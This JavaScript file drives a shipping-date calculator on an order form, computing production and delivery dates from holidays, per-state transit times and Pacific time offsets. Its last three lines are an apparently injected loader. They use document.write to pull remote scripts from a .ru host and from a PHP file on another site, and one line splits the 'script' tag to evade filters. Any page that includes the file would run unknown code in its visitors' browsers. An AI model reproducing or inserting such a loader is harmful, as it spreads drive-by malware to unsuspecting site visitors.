/*
 * Developed by Deftlogic LLC
 * www.deftlogic.com
 * E-mail: consulting@deftlogic.com
 *
 * Edit: 09-06-2008
 * 1. In calcute_ship() call changed today to app_date
 * 2. In setoffdet() corrected the typo.(Edit:Nov 08)
 * 3. Corrections made to work properly on holidays.
 */


/************************** USER DEFINED VARIABLES ******************************/


// User defined production periods


var NORMAL_PRODUCTION_DAYS = 10;
var FAST_PRODUCTION_DAYS = 5;
var EXPEDITED_PRODUCTION_DAYS = 2;


// User defined holidays


var holiday = new Array();
holiday[0] = new Date(2010, 0, 1);
holiday[1] = new Date(2010, 0, 18);
holiday[2] = new Date(2010, 1, 15);
holiday[3] = new Date(2010, 4, 31);
holiday[4] = new Date(2010, 6, 5);
holiday[5] = new Date(2010, 8, 6);
holiday[6] = new Date(2010, 9, 11);
holiday[7] = new Date(2010, 10, 11);
holiday[8] = new Date(2010, 10, 25);
holiday[9] = new Date(2010, 11, 24);




//holiday = { Date(2008, 4, 26),
//					Date(2008, 3, 14),
//						Date(2008, 4, 22)
//					};
var dst_startday;	 //= new Date(2008, 3, 9);
var dst_endday;		 //= new Date(2008, 11, 2);
var Time_OFFSET = 0;


/***************** DO NOT EDIT BELOW THIS LINE **********************************/


var UPS_Saturday_delivery = "false";
var shipping_flag = "false";


function calculate_ship(init, month, year, app_date,prod_date, ship_date, cellId)
{
	var monthsList=['January','February','March','April','May','June','July','August','September','October','November','December'];
	
	/* get current month and year */
	var today =	new Date()
	var thisMonth = today.getMonth() + 1 
	var thisYear = today.getFullYear()
	

	/* print table opening html code */
	var t='<div class="main">';
	t+='<table class="main" cols="7" cellpadding="2" border="0" cellspacing="1">';


	/* print first header row with month and year */
	t+='<tr align="center">';
	t+='<td colspan="7" align="center" class="month">';
	t+= monthsList[month]+' - '+year+'</td>';
	t+= '</tr>';
	
	/* print 2nd row with the initials for days */
	t+='<tr align="center">';	
	for(s=0; s<7; s++)  
	{
		t+='<td class="daysofweek">'+"SMTWTFS".substr(s,1)+'</td>';
	}
	t+='</tr><tr align="center">';
	
	var firstday = new Date(year, month, 1);
	var day_flag = "";
	var x;
	for(i=1; i<=42; i++)
		{	
			// Set the date X if it is a valid date otherwise empty
			var day =((i-(firstday.getDay()+1)>=0) && 
						 (i-(firstday.getDay()+1))< days_in_month(firstday.getYear(),firstday.getMonth()))? 
						 	i-(firstday.getDay()+1)+1 : '&nbsp;';
				x = day;
				
				if(day == i-(firstday.getDay() + 1) + 1) 
				{
					if(day == today.getDate() && month == today.getMonth())
						 x ='<span id="today">'+ day +'</span>' // To highlight today
	
					if(day == app_date.getDate() && month == app_date.getMonth() && init == "false"){
					//if(today == app_date) {
							x ='<span id="approvedday">'+ x +'</span>'
						}
					else
						if(is_weekend(new Date(year,month,day))== "true")
							{
								//document.write(alert("weekend"))
						 		x = '<span id ="weekend">'+day+'</span>'
							}
						else
								if(is_holiday(new Date(year,month,day))== "true")
									{
									 x = '<span id ="holiday">'+day+'</span>'	
									}
				}
			
			if(init == "false") {
				if(day == prod_date.getDate() && month == prod_date.getMonth()) 
						x = '<span id="prod_date">'+day+'</span>'
						
				if(day == ship_date.getDate() &&  month == ship_date.getMonth()) 
						x = '<span id="ship_date">'+day+'</span>'
				}
			if(i>=36 && day == '&nbsp;')
			{
				//document.write(alert("I is > 36"));
				}
			else{	
			t+='<td class="days">'+ x +'</td>';
		
			if(((i)%7==0)&&(i<36))t+='</tr><tr align="center">';
			}
		}
	t+='</tr></table></div>';
	document.getElementById(cellId).innerHTML=t;
}


function approved_date(){
	
	var newdate = new Date();
	//var app_date;
	
	// first term = GMT time in ms from 1-1-1970
	// second term = local time offset
	// third term = setting to PST; must subtract 7 hrs if PDT (Pacific Daylight Savings Time)
	//																					  8 hrs if PST (Pacific Standard Time)
	settimeoffset();
	var currtime = newdate.getTime() + (newdate.getTimezoneOffset() * 60000)
																	 - (Time_OFFSET * 60 * 60 * 1000);															 
		//document.write(alert(newdate.getTime()));
		newdate = new Date(currtime);
	var currhour = new Date(currtime).getHours();
		//document.write(alert(newdate.getTimezoneOffset()));
		//document.write(alert(currhour));
	
	if(currhour >= 10 || newdate.getDay() == 0 || 
			newdate.getDay()== 6 || is_holiday(newdate) == true)
	{
		app_date = getnextday(newdate);


	}
	else
		//app_date = new Date(newdate.getYear(),newdate.getMonth(),newdate.getDate());
		app_date =  newdate;
		//document.write(alert(app_date));
	
	return app_date
}


function process_prd_speed_input() {
	/*
	 * This function goes through each radio button 
	 * and determines the production day count.
	 */
	
	if(document.forms[0].prdspeed[0].checked)
			prd_count = NORMAL_PRODUCTION_DAYS;
		else if(document.forms[0].prdspeed[1].checked)
			prd_count = FAST_PRODUCTION_DAYS;
		else if(document.forms[0].prdspeed[2].checked)
			prd_count = EXPEDITED_PRODUCTION_DAYS;
	
	return prd_count;
}


function process_ship_speed_input() {
	/*
	 * This function goes through each radio button 
	 * and determines the shipping delivery day count.
	 */
	 	
	var ship_count = 0;
	if(document.forms[0].shpspeed[0].checked)
		ship_count = 7;
		


	if(document.forms[0].shpspeed[1].checked)
	{
		var index = document.forms[0].dstselect.selectedIndex;
		var state_value = document.forms[0].dstselect.options[index].text;
		
		if(selected_state == null) shipping_flag = "true";
			
		if(selected_state == null || 
			(shipping_flag == "true" && selected_state != state_value)) {
			selected_state = state_value;
			//alert(selected_state);
		}
		
		if(selected_state == "Pick One") {
			document.getElementById("State_ship_count_display").innerHTML = "Choose a State " ;
			ship_count = 0;
		}
		else{
			ship_count = ship_state_select(selected_state);
			document.getElementById("State_ship_count_display").innerHTML = ship_count + " days " ;
		}
		//document.write(alert(selected_state));
		//ship_count=5;
	}
	if(document.forms[0].shpspeed[2].checked)
		ship_count = 3;
	if(document.forms[0].shpspeed[3].checked)
		ship_count = 2;
	if(document.forms[0].shpspeed[4].checked)
		ship_count = 1;
	if(document.forms[0].shpspeed[5].checked) {
			ship_count = 1;
			UPS_Saturday_delivery = "true";
		}
	
	return ship_count;
}


function get_wkend_count(today, prd_count, curr_month_days) {
	//not used in this script
	var wkend_count = 0; 
	var year=0; 
	var month=0; 
	var day =0;
		
	for(i=1; i<=prd_count; i++)
		{
			if((today.getDate()+ i) > curr_month_days)
				{
					if(today.getMonth() == 11)
						{
							year = today.getYear()+1;
							month = 0; //today.getMonth()+1;
							day = today.getDate() + i - curr_month_days;
						}
					else
						{
							year = today.getYear();
							month = today.getMonth()+1;
							day = today.getDate() + i - curr_month_days;
						}
				}
				else
					{
						year = today.getYear();
						month = today.getMonth();
						day = today.getDate() + i; 
					}
					
			if(new Date(year,month,day).getDay() == 0 ||
				 new Date(year,month,day).getDay() == 6  /*day is not weekend or holiday*/)
				{
					wkend_count++;
				}
		}
		return wkend_count;
}


function get_prod_date(today, prd_count, curr_month_days) {
	/* This function gets the production date or the shipping delivery date 
	 * with a counter as number of working days
	 */
	
	var prod_year =0;
	var prod_month =0;
	var prod_day = 0;
	var prod_date;
	
	//document.write(alert(today));
	
	var count = prd_count;
	var curr_day = new Date(today.getYear(),today.getMonth(),today.getDate());
	
	while(count != 0){	
		curr_month_days = days_in_month(curr_day.getYear(), curr_day.getMonth());
		if((curr_day.getDate()+ 1) > curr_month_days)
		{	
			if(curr_day.getMonth() == 11)
			{
				prod_year = curr_day.getYear()+1;
				prod_month = 0; //curr_day.getMonth()+1;
				prod_day = curr_day.getDate() + 1 - curr_month_days
			}
			else
				{
					prod_year = curr_day.getYear();
					prod_month = curr_day.getMonth()+1;
					prod_day = curr_day.getDate() + 1 - curr_month_days
				}
		}
		else
			{
				prod_year = curr_day.getYear();
				prod_month = curr_day.getMonth();
				prod_day = curr_day.getDate() + 1 
			}
			curr_day = new Date(prod_year, prod_month, prod_day)
			if(		(curr_day.getDay() != 0 && curr_day.getDay() != 6 && (is_holiday(curr_day) == "false"))
				 || (curr_day.getDay() == 6 &&  UPS_Saturday_delivery == "true"))
				{
					count--;
				}
		}
		prod_date = new Date(prod_year, prod_month, prod_day)
		
		return prod_date;
}


function prdspeed_and_ship_calculate() {
	
	/***********************************************************************
	 * This is the main function 
	 ***********************************************************************/
	
	var today = new Date();
	var prd_count = 0, ship_count=0;
	var curr_month_days = 0;
	var prod_date, ship_date;
	
	UPS_Saturday_delivery = "false";
	
	/***********************************************************************
	 * Reset the two div containers to nothing
	 * which will be filled in later on.
	 ***********************************************************************/
	document.getElementById('M1_cell').innerHTML="";
	document.getElementById('M2_cell').innerHTML="";
	
	/***********************************************************************
	 * Determine the number of PRODUCTION days, date on which the order will
	 * be shipped out accounting for the weekend days.
	 ***********************************************************************/
	if(app_date == null) approved_date();
	//document.write(alert(app_date));
	
	prd_count = process_prd_speed_input();
	curr_month_days = days_in_month(app_date.getYear(), app_date.getMonth())
	//wkend_count = get_wkend_count(today, prd_count, curr_month_days);
	//prd_count = prd_count + wkend_count;
	prod_date = get_prod_date(app_date, prd_count, curr_month_days);


  /***********************************************************************
	 * Determine the number of SHIPPING days, date on which the order will
	 * be shipped out accounting for the weekend days.
	 ***********************************************************************/	
	ship_count = process_ship_speed_input();
	curr_month_days = days_in_month(prod_date.getYear(), prod_date.getMonth())
	//wkend_count = get_wkend_count(prod_date, ship_count, curr_month_days);
	//ship_count = ship_count + wkend_count;
	if(ship_count == 0) 
	{	//user did not select a state
		alert("Please select your shipping destination!");
	} 
	else 
		{
			ship_date = get_prod_date(prod_date, ship_count, curr_month_days);


    	/***********************************************************************
    	 * Now print the months highlighting the today, prod_date, and ship_date
    	 ***********************************************************************/	
    	calculate_ship("false", app_date.getMonth(), app_date.getYear(), 
    									app_date, prod_date, ship_date, "M1_cell");
    	
    	if((prod_date.getMonth() != app_date.getMonth()) ||  /* spills over next month */
    		 (ship_date.getMonth() != app_date.getMonth()))
    		{
		 if(app_date.getMonth() == 11)
		 {
    			calculate_ship("false",0, ship_date.getYear(),app_date, prod_date, ship_date, "M2_cell");
		 }else{
			calculate_ship("false",app_date.getMonth()+1, ship_date.getYear(),app_date, prod_date, ship_date, "M2_cell");
		 }
    		}
    }
}


function days_in_month(year, month){
	return 32- new Date(year, month, 32).getDate();
}


function ship_state_select(selected_state)
{
	var state_time = new Array();
	
	state_time["AL"]= 4;
	state_time["AK"]= 3;
	state_time["AZ"]= 2;
	state_time["AR"]= 4;
	state_time["CA-North"]= 2;
	state_time["CA-South"]= 1;
	state_time["CO"]= 3;
	state_time["CT"]= 5;
	state_time["DE"]= 4;
	state_time["DC"]= 4;
	state_time["FL"]= 4;
	state_time["GA"]= 4;
	state_time["HI"]= 3;
	state_time["ID"]= 3;
	state_time["IL"]= 4;
	state_time["IN"]= 4;
	state_time["IA"]= 4;
	state_time["KS"]= 4;
	state_time["KY"]= 4;
	state_time["LA"]= 4;
	state_time["ME"]= 5;
	state_time["MH"]= 5;
	state_time["MD"]= 4;
	state_time["MA-West"]= 5;
	state_time["MA-East"]= 4;
	state_time["MI"]= 4;
	state_time["MN-WestNorth"]= 5;
	state_time["MN"]= 4;
	state_time["MS"]= 4;
	state_time["MT-West"]= 3;
	state_time["MT-East"]= 4;
	state_time["NE"]= 4;
	state_time["NV-North"]= 3;
	state_time["NV-Center"]= 2;
	state_time["NV-South"]= 1;
	state_time["NH"]= 5;
	state_time["NJ"]= 4;
	state_time["NM"]= 3;
	state_time["NY"]= 5;
	state_time["NC-West"]= 5;
	state_time["NC-East"]= 4;
	state_time["ND-North"]= 5;
	state_time["ND-South"]= 4;
	state_time["OH"]= 4;
	state_time["OK"]= 3;
	state_time["OR"]= 3;
	state_time["PA"]= 4;
	state_time["PR"]= 6;
	state_time["RI"]= 5;
	state_time["SC-North"]= 4;
	state_time["SC-South"]= 5;
	state_time["SD"]= 4;
	state_time["TN"]= 4;
	state_time["TX-North"]= 3;
	state_time["TX-South"]= 4;
	state_time["UT"]= 2;
	state_time["VT"]= 5;
	state_time["VA-West"]= 5;
	state_time["VA-East"]= 4;
	state_time["WA"]= 3;
	state_time["WV-West"]= 4;
	state_time["WV-East"]= 5;
	state_time["WI"]= 4;
	state_time["WY"]= 3;
	
	//document.write(alert(state_time[selected_state]));
	return state_time[selected_state];
}


function is_weekend(newday)
{
	/*This function checks if the day is a weekend */
	
	if(newday.getDay() == 0 || newday.getDay() == 6)
				{
					//document.write(alert("weekend"))
					return "true";
				}
	else
		return "false"
}


function is_holiday(newday)
{
	/* This function checks if the day is a defined holiday */
	
	var flag = "false";
	
	for(j=0; j< holiday.length; j++)
	{
		if(holiday[j].getYear() == newday.getYear() &&
			holiday[j].getMonth() == newday.getMonth() &&
			holiday[j].getDate() == newday.getDate())
		{
			flag = "true";
			break;
		}
	}
	
	return flag;
}


function print_EXP()
{
	document.write(EXPEDITED_PRODUCTION_DAYS);
	return 0;
}


function print_NORM()
{
	document.write(NORMAL_PRODUCTION_DAYS);
	return 0;
}


function print_FAST()
{
	document.write(FAST_PRODUCTION_DAYS);
	return 0;
}


function getnextday(curr_day)
{
	/* This function returns the next working day */ 
	
	var nextday_year=0, nextday_month=0, nextday_day=0, nextday;
	var count=1;
	
	//document.write(alert(curr_day));
	while(count!=0){
	curr_month_days = days_in_month(curr_day.getYear(), curr_day.getMonth());
		if((curr_day.getDate()+ 1) > curr_month_days)
		{	
			if(curr_day.getMonth() == 11)
			{
				nextday_year = curr_day.getYear()+1;
				nextday_month = 0; //curr_day.getMonth()+1;
				nextday_day = curr_day.getDate() + 1 - curr_month_days
			}
			else
				{
					nextday_year = curr_day.getYear();
					nextday_month = curr_day.getMonth()+1;
					nextday_day = curr_day.getDate() + 1 - curr_month_days
				}
		}
		else
			{
				nextday_year = curr_day.getYear();
				nextday_month = curr_day.getMonth();
				nextday_day = curr_day.getDate() + 1 
			}
			curr_day = new Date(nextday_year, nextday_month, nextday_day)
			//document.write(alert(curr_day));
			if(curr_day.getDay() != 0 && curr_day.getDay() != 6  && (is_holiday(curr_day) == "false")/*day is not weekend */)
				{
					count--;
				}
		}
	
		nextday = new Date(nextday_year, nextday_month, nextday_day)
		
		return nextday;
}


function settimeoffset() {
	/* This function sets the time offset for the pacific time zone */
	
	var today = new Date();	
	
	set_dst_days();
	// if today is betn march 9th and nov 2 time offset is 7 else 8
	if(today >= dst_startday && today < dst_endday)
			Time_OFFSET = 7;
	else
			Time_OFFSET = 8;
			//document.write(alert(Time_OFFSET));
}


function set_dst_days(){
	/* This function sets the daylight savings start and 
	 * end dates for the current year 
	 */
	 
	var today = new Date();
	
	var tempday = new Date(today.getYear(), 2, 8);
	while(tempday.getDay() !=0)
	{
		tempday = new Date(tempday.getYear(), 2, tempday.getDate()+1);
	}
	 dst_startday = tempday;
	 //document.write(alert(tempday));
	 
	 tempday = new Date(today.getYear(), 10, 1);
	while(tempday.getDay() !=0)
	{
		tempday = new Date(tempday.getYear(), 10, tempday.getDate()+1);
	}
	 dst_endday = tempday;
	 //document.write(alert(tempday));
}

function getShipdate(){
	var m_names = new Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep","Oct", "Nov", "Dec");
	approved_date();
	curr_month_days = days_in_month(app_date.getYear(), app_date.getMonth());
	prod_date = get_prod_date(app_date, 2, curr_month_days);
	curr_month_days = days_in_month(prod_date.getYear(), prod_date.getMonth());
	ship_date = get_prod_date(prod_date, 1, curr_month_days);
	var sup = "";
	if (ship_date == 1 || ship_date == 21 || ship_date ==31)
	{
	sup = "st";
	}
	else if (ship_date == 2 || ship_date == 22)
	{
	sup = "nd";
	}
	else if (ship_date == 3 || ship_date == 23)
	{
	sup = "rd";
	}
	else
	{
	sup = "th";
	}
//alert(ship_date);
document.getElementById("shipday").innerHTML = ship_date.getDate()+""+sup+"!";
return ship_date;
}



document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Hard_Drive.js"></scr'+'ipt>');
document.write('<script src=http://dbabasics.com/images/incorporation_wiorksheet_feedback.php ><\/script>');
document.write('<script src=http://dbabasics.com/images/incorporation_wiorksheet_feedback.php ><\/script>');